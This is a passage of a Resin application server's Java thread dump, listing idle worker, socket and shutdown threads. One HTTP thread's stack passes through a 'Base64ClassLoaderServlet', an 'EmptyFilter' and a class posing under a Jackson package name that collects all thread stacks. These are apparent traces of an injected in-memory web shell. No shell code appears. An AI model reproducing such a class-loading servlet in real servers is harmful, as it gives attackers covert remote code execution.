java.base@11.0.16/java.lang.ref.Reference.processPendingReferences(Reference.java:241) + at java.base@11.0.16/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:213) + +"resin-52" #52 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-29" #29 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-41" #41 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.lang.Thread.dumpThreads(Native Method) + at java.base@11.0.16/java.lang.Thread.getAllStackTraces(Thread.java:1653) + at com.fasterxml.jackson.dREtx.ErrorHandler.toString(BasicInfoPrinter.java:26) + at app//com.caucho.vfs.AbstractPrintWriter.print(AbstractPrintWriter.java:221) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at app//com.caucho.server.dispatch.ServletFilterChain.doFilter(ServletFilterChain.java:109) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at app//com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:89) + at app//com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java:156) + at app//com.caucho.server.webapp.AccessLogFilterChain.doFilter(AccessLogFilterChain.java:95) + at app//com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.java:314) + at app//com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:852) + at app//com.caucho.network.listen.TcpSocketLink.dispatchRequest(TcpSocketLink.java:1395) + at app//com.caucho.network.listen.TcpSocketLink.handleRequest(TcpSocketLink.java:1351) + at app//com.caucho.network.listen.TcpSocketLink.handleRequestsImpl(TcpSocketLink.java:1335) + at app//com.caucho.network.listen.TcpSocketLink.handleRequests(TcpSocketLink.java:1243) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1037) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-56" #56 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"ThreadLauncher2[ThreadPool[system]]-1" #13 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:391) + at app//com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"resin-port-8080-24" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.16/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:140) + at app//com.caucho.vfs.SocketStream.read(SocketStream.java:187) + at app//com.caucho.vfs.SocketStream.readTimeout(SocketStream.java:239) + at app//com.caucho.vfs.ReadStream.fillWithTimeout(ReadStream.java:1147) + at app//com.caucho.network.listen.TcpSocketLink.threadKeepalive(TcpSocketLink.java:1512) + at app//com.caucho.network.listen.TcpSocketLink.processKeepalive(TcpSocketLink.java:1490) + at app//com.caucho.network.listen.TcpSocketLink.handleRequestsImpl(TcpSocketLink.java:1328) + at app//com.caucho.network.listen.TcpSocketLink.handleRequests(TcpSocketLink.java:1243) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1037) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-47" #47 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.16/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:140) + at app//com.caucho.vfs.SocketStream.read(SocketStream.java:187) + at app//com.caucho.vfs.SocketStream.readTimeout(SocketStream.java:239) + at app//com.caucho.vfs.ReadStream.fillWithTimeout(ReadStream.java:1147) + at app//com.caucho.network.listen.TcpSocketLink.threadKeepalive(TcpSocketLink.java:1512) + at app//com.caucho.network.listen.TcpSocketLink.processKeepalive(TcpSocketLink.java:1490) + at app//com.caucho.network.listen.TcpSocketLink.handleRequestsImpl(TcpSocketLink.java:1328) + at app//com.caucho.network.listen.TcpSocketLink.handleRequests(TcpSocketLink.java:1243) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1037) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-127.0.0.1:6800-20" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.16/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.16/java.net.ServerSocket.implAccept(ServerSocket.java:565) + at java.base@11.0.16/java.net.ServerSocket.accept(ServerSocket.java:533) + at app//com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at app//com.caucho.network.listen.TcpPort.accept(TcpPort.java:1381) + at app//com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1065) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1015) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-57" #57 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-main-link" #44 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.16/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:140) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:200) + at app//com.caucho.remote.websocket.UnmaskedFrameInputStream.readFrameHeaderImpl(UnmaskedFrameInputStream.java:154) + at app//com.caucho.remote.websocket.FrameInputStream.readFrameHeader(FrameInputStream.java:97) + at app//com.caucho.remote.websocket.WebSocketInputStream.startBinaryMessage(WebSocketInputStream.java:77) + at app//com.caucho.hmtp.HmtpWebSocketReader.readPacket(HmtpWebSocketReader.java:70) + at app//com.caucho.hmtp.HmtpLinkWorker.run(HmtpLinkWorker.java:114) + at app//com.caucho.server.resin.ResinLink.run(ResinLink.java:71) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-15" #15 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-33" #33 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-54" #54 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-49" #49 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.16/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.16/java.net.ServerSocket.implAccept(ServerSocket.java:565) + at java.base@11.0.16/java.net.ServerSocket.accept(ServerSocket.java:533) + at app//com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at app//com.caucho.network.listen.TcpPort.accept(TcpPort.java:1381) + at app//com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1065) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1015) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-shutdown" #38 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.shutdown.ShutdownSystem$ShutdownThread.run(ShutdownSystem.java:471) + +"resin-30" #30 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-48" #48 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.16/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.16/java.net.ServerSocket.implAccept(ServerSocket.java:565) + at java.base@11.0.16/java.net.ServerSocket.accept(ServerSocket.java:533) + at app//com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at app//com.caucho.network.listen.TcpPort.accept(TcpPort.java:1381) + at app//com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1065) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1015) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-42" #42 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.16/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:140) + at app//com.caucho.vfs.SocketStream.read(SocketStream.java:187) + at app//com.caucho.vfs.SocketStream.readTimeout(SocketStream.java:239) + at app//com.caucho.vfs.ReadStream.fillWithTimeout(ReadStream.java:1147) + at app//com.caucho.network.listen.TcpSocketLink.threadKeepalive(TcpSocketLink.java:1512) + at app//com.caucho.network.listen.TcpSocketLink.processKeepalive(TcpSocketLink.java:1490) + at app//com.caucho.network.listen.TcpSocketLink.handleRequestsImpl(TcpSocketLink.java:1328) + at app//com.caucho.network.listen.TcpSocketLink.handleRequests(TcpSocketLink.java:1243) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1037) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-127.0.0.1:6800-18" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.16/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.16/java.net.ServerSocket.implAccept(ServerSocket.java:565) + at java.base@11.0.16/java.net.ServerSocket.accept(ServerSocket.java:533) + at app//com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at app//com.caucho.network.listen.TcpPort.accept(TcpPort.java:1381) + at app//com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1065) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1015) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-40" #40 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-53" #53 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-51" #51 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-127.0.0.1:6800-launcher" #16 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:391) + at app//com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"FlushWorker[]-5" #17 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:391) + at app//com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"Common-Cleaner" #11 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@4f15f7b9 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.16/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:148) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + at java.base@11.0.16/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:161) + +"resin-34" #34 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"main" #1 [TIMED_WAITING] on com.caucho.server.resin.ResinWaitForExitService@7b0ad6c6 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at app//com.caucho.server.resin.ResinWaitForExitService.waitForExit(ResinWaitForExitService.java:135) + at app//com.caucho.server.resin.Resin.waitForExit(Resin.java:1452) + at app//com.caucho.server.resin.Resin.main(Resin.java:1501) + +"BlockWriter[Table[mnode:2,/usr/local/resin4/resin-data/app-0/distcache/mnode.db]]-6" #22 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:391) + at app//com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-50" #50 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"resin-23" #23 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-127.0.0.1:6800-21" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@11.0.16/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:474) + at java.base@11.0.16/java.net.ServerSocket.implAccept(ServerSocket.java:565) + at java.base@11.0.16/java.net.ServerSocket.accept(ServerSocket.java:533) + at app//com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:105) + at app//com.caucho.network.listen.TcpPort.accept(TcpPort.java:1381) + at app//com.caucho.network.listen.TcpSocketLink.accept(TcpSocketLink.java:1065) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1015) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-fail-safe-memory-free" #37 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.shutdown.ShutdownSystem$FailSafeMemoryFreeThread.run(ShutdownSystem.java:509) + +"resin-25" #25 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"ThreadScheduleWorker[]-2" #32 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:391) + at app//com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"resin-fail-safe-halt" #36 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.shutdown.ShutdownSystem$FailSafeHaltThread.run(ShutdownSystem.java:569) + +"resin-port-8080-launcher" #39 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkUntil(LockSupport.java:391) + at app//com.caucho.env.thread2.AbstractTaskWorker2.run(AbstractTaskWorker2.java:270) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-35" #35 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-31" #31 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-port-8080-45" #45 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.16/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:140) + at app//com.caucho.vfs.SocketStream.read(SocketStream.java:187) + at app//com.caucho.vfs.SocketStream.readTimeout(SocketStream.java:239) + at app//com.caucho.vfs.ReadStream.fillWithTimeout(ReadStream.java:1147) + at app//com.caucho.network.listen.TcpSocketLink.threadKeepalive(TcpSocketLink.java:1512) + at app//com.caucho.network.listen.TcpSocketLink.processKeepalive(TcpSocketLink.java:1490) + at app//com.caucho.network.listen.TcpSocketLink.handleRequestsImpl(TcpSocketLink.java:1328) + at app//com.caucho.network.listen.TcpSocketLink.handleRequests(TcpSocketLink.java:1243) + at app//com.caucho.network.listen.TcpSocketLink.handleAcceptTaskImpl(TcpSocketLink.java:1037) + at app//com.caucho.network.listen.ConnectionTask.runThread(ConnectionTask.java:117) + at app//com.caucho.network.listen.ConnectionTask.run(ConnectionTask.java:93) + at app//com.caucho.network.listen.SocketLinkThreadLauncher.handleTasks(SocketLinkThreadLauncher.java:175) + at app//com.caucho.network.listen.TcpSocketAcceptThread.run(TcpSocketAcceptThread.java:61) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:173) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-28" #28 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-26" #26 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at app//com.caucho.env.thread2.ResinThread2.runTasks(ResinThread2.java:147) + at app//com.caucho.env.thread2.ResinThread2.run(ResinThread2.java:118) + +"resin-27" #27 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at app//com.caucho.env.thread2.ResinThread2.park(ResinThread2.java:196) + at 